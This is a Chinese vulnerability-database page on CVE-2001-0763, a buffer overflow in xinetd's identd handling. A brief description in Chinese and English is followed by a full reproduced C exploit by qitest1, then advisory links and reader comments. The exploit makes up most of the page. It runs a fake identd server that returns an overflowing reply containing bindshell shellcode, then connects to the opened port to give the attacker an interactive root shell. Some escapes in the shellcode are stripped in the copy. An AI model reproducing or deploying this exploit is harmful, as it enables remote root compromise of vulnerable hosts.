Xinetd缓冲区溢出漏洞
漏洞ID | 1106416 | 漏洞类型 | 边界条件错误 |
发布时间 | 2001-06-28 | 更新时间 | 2005-08-17 |
CVE编号 | CVE-2001-0763 |
CNNVD-ID | CNNVD-200110-096 |
漏洞平台 | Linux | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
CVE(CAN)ID:CAN-2001-0763Xinetd可能存在一个缓冲区溢出漏洞,它可以通过identd来记录连接到特定服务的客户机的用户身份,如果客户机支持这个特性的话。如果攻击者伪造了identd的响应的话,就可能利用这个漏洞获得root权限或使Xinetd崩溃,由inetd启动的服务,如Telnet,Ftp等都会拒绝服务。
|漏洞EXP
source: http://www.securityfocus.com/bid/2840/info
The possibility for a buffer overflow condition exists in the xinetd daemon.
Xinetd provides the ability to log via identd the user-identities of clients connecting to specific services if the clients host supports it.
It may be possible for attackers to construct identd responses which exploit this subtle overflow condition.
If successfully exploited, an attacker would gain root privileges on the affected host. It may also be possible for attackers to crash xinetd, which would result in a denial of service for all services started by inetd (telnet, ftp, etc).
/*
* xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
* by qitest1 28/06/2001
*
* This is a proof of concept code for the exploitation of the bof
* present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
* code uses a single-byte corruption of the fp, as explained by klog.
* sc_addr_pos is the position, from the beginning of the writable
* area, where a pointer to the nop will be placed.
*
* For ethical reasons just one hardcoded target type will be provided.
* Its values work only against one of the bugged 'pre' releases of
* xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
*
* Greets: zen-parse, for having found this bug
* klog, for his paper about the fp corruption
* all my friends on the internet =)
*
* 100% pure 0x69. =)
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define MY_PORT 1
#define THEIR_PORT 23
#define IDENTD_PORT 113
#define FIRST_PAD 1009
struct targ
{
int def;
char *descr;
unsigned long int retaddr;
int sc_addr_pos;
};
struct targ target[]=
{
{0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
{69, NULL, 0}
};
char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
"x31xc0xb0x02xcdx80x85xc0x75x43xebx43x5ex31xc0"
"x31xdbx89xf1xb0x02x89x06xb0x01x89x46x04xb0x06"
"x89x46x08xb0x66xb3x01xcdx80x89x06xb0x02x66x89"
"x46x0cxb0x77x66x89x46x0ex8dx46x0cx89x46x04x31"
"xc0x89x46x10xb0x10x89x46x08xb0x66xb3x02xcdx80"
"xebx04xebx55xebx5bxb0x01x89x46x04xb0x66xb3x04"
"xcdx80x31xc0x89x46x04x89x46x08xb0x66xb3x05xcd"
"x80x88xc3xb0x3fx31xc9xcdx80xb0x3fxb1x01xcdx80"
"xb0x3fxb1x02xcdx80xb8x2fx62x69x6ex89x06xb8x2f"
"x73x68x2fx89x46x04x31xc0x88x46x07x89x76x08x89"
"x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31"
"xc0xb0x01x31xdbxcdx80xe8x5bxffxffxff";
char zbuf[1024], host[512];
int sel = 0, offset = 0;
int sockami2(char *host, int my_port, int their_port);
void fake_identd(void);
void l33t_buf(void);
static void keep_clz(void) __attribute__ ((destructor));
void shellami(int sock);
void usage(char *progname);
int
main(int argc, char **argv)
{
int sock, cnt;
printf("n xinetd-2.1.8.9pre11-1 exploit by qitest1nn");
if(getuid())
{
fprintf(stderr, "Must be root baben");
exit(1);
}
if(argc == 1)
usage(argv[0]);
host[0] = 0;
while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
{
switch(cnt)
{
case 'h':
strncpy(host, optarg, sizeof(host));
host[sizeof(host)] = 'x00';
break;
case 't':
sel = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 's':
target[sel].sc_addr_pos = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(host[0] == 0)
usage(argv[0]);
printf("+Host: %sn as: %sn", host, target[sel].descr);
target[sel].retaddr += offset;
printf("+Using: retaddr = %p and sc_addr_pos = %d...n okn",
target[sel].retaddr, target[sel].sc_addr_pos);
printf("+Starting fake_identd...n");
fake_identd();
return;
}
int
sockami2(char *host, int my_port, int their_port)
{
struct sockaddr_in address;
struct sockaddr_in my_addr;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(my_port);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if(bind(sock, (struct sockaddr *)&my_addr,
sizeof(struct sockaddr)) == -1)
{
perror("bind()");
exit(1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(their_port);
if(connect(sock, (struct sockaddr *) &address,
sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
fake_identd(void)
{
int sockfd, new_fd, sin_size, rem_port, loc_port, i;
char rbuf[1024], sbuf[1024], cif[6], *ptr;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf(" fake_identd forking into backgroundn");
if (!fork())
{
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket()");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(IDENTD_PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if(bind(sockfd, (struct sockaddr *)&my_addr,
sizeof(struct sockaddr)) == -1)
{
perror("bind()");
exit(1);
}
if(listen(sockfd, 1) == -1)
{
perror("listen()");
exit(1);
}
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)) == -1)
{
perror("accept()");
continue;
}
/* Fake session
*/
memset(rbuf, 0, sizeof(rbuf));
recv(new_fd, rbuf, sizeof(rbuf), 0);
/* Parsing of query
*/
ptr = rbuf; i = 0;
while(*ptr != ',')
{
cif[i] = *ptr;
*ptr++; i ++;
}
sscanf(cif, "%d", &rem_port);
memset(cif, 0, sizeof(cif));
*ptr++; i = 0;
while(*ptr != ' ')
{
cif[i] = *ptr;
*ptr++; i++;
}
sscanf(cif, "%d", &loc_port);
l33t_buf();
memset(sbuf, 0, sizeof(sbuf));
sprintf(sbuf, "%d,%d:USERID:%srn",
rem_port, loc_port, zbuf);
send(new_fd, sbuf, strlen(sbuf), 0);
memset(rbuf, 0, sizeof(rbuf));
recv(new_fd, rbuf, sizeof(rbuf), 0);
/* End
*/
}
}
return;
}
void
l33t_buf(void)
{
int i, n = 0;
memset(zbuf, 0, sizeof(zbuf));
for(i = 0; i < FIRST_PAD; i++)
zbuf[i] = 'x69';
memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
for(i = target[sel].sc_addr_pos - strlen(shellcode);
i < target[sel].sc_addr_pos;
i++)
zbuf[i] = shellcode[n++];
zbuf[target[sel].sc_addr_pos + 0] =
(u_char) (target[sel].retaddr & 0x000000ff);
zbuf[target[sel].sc_addr_pos + 1] =
(u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
zbuf[target[sel].sc_addr_pos + 2] =
(u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
zbuf[target[sel].sc_addr_pos + 3] =
(u_char)((target[sel].retaddr & 0xff000000) >> 24);
return;
}
void
keep_clz(void)
{
int sock;
if(host[0] != 0)
{
printf("+Causing an auth request to our fake_identdn");
sock = sockami2(host, MY_PORT, THEIR_PORT);
printf(" donen");
close(sock);
printf("+Enjoy your root shell...n 0x69 =)n");
sleep(1);
sock = sockami2(host, 6969, 30464);
shellami(sock);
}
}
void
shellami(int sock)
{
int n;
char recvbuf[1024], *cmd = "id; uname -an";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(sock+1, &rset, NULL, NULL, NULL);
if(FD_ISSET(sock, &rset))
{
n = read(sock, recvbuf, 1024);
if (n <= 0)
{
printf("Connection closed by foreign host.n");
exit(0);
}
recvbuf[n] = 0;
printf("%s", recvbuf);
}
if (FD_ISSET(STDIN_FILENO, &rset))
{
n = read(STDIN_FILENO, recvbuf, 1024);
if (n > 0)
{
recvbuf[n] = 0;
write(sock, recvbuf, n);
}
}
}
return;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]n", progname);
printf("Options:n"
" -h hostnamen"
" -t targetn"
" -o offsetn"
" -s sc_addr_posn"
"Available targets:n");
while(target[i].def != 69)
{
printf(" %d) %sn", target[i].def, target[i].descr);
i++;
}
exit(1);
}
|参考资料
来源:DEBIAN
名称:DSA-063
链接:http://www.debian.org/security/2001/dsa-063
来源:BUGTRAQ
名称:20010608potentialbufferoverflowinxinetd-2.1.8.9pre11-1
链接:http://archives.neohapsis.com/archives/bugtraq/2001-06/0064.html
来源:XF
名称:xinetd-identd-bo(6670)
链接:http://xforce.iss.net/static/6670.php
来源:BID
名称:2840
链接:http://www.securityfocus.com/bid/2840
来源:REDHAT
名称:RHSA-2001:075
链接:http://www.redhat.com/support/errata/RHSA-2001-075.html
来源:ENGARDE
名称:ESA-20010621-01
链接:http://www.linuxsecurity.com/advisories/other_advisory-1469.html
来源:CIAC
名称:L-104
链接:http://www.ciac.org/ciac/bulletins/l-104.shtml
来源:IMMUNIX
名称:IMNX-2001-70-024-01
链接:http://download.immunix.org/ImmunixOS/7.0/updates/IMNX-2001-70-024-01
来源:CONECTIVA
名称:CLA-2001:404
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio;=000404
相关推荐: Microsoft BackOffice Server Web Administration Authentication Bypass Vulnerability
Microsoft BackOffice Server Web Administration Authentication Bypass Vulnerability 漏洞ID 1102248 漏洞类型 Design Error 发布时间 2002-04-17 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666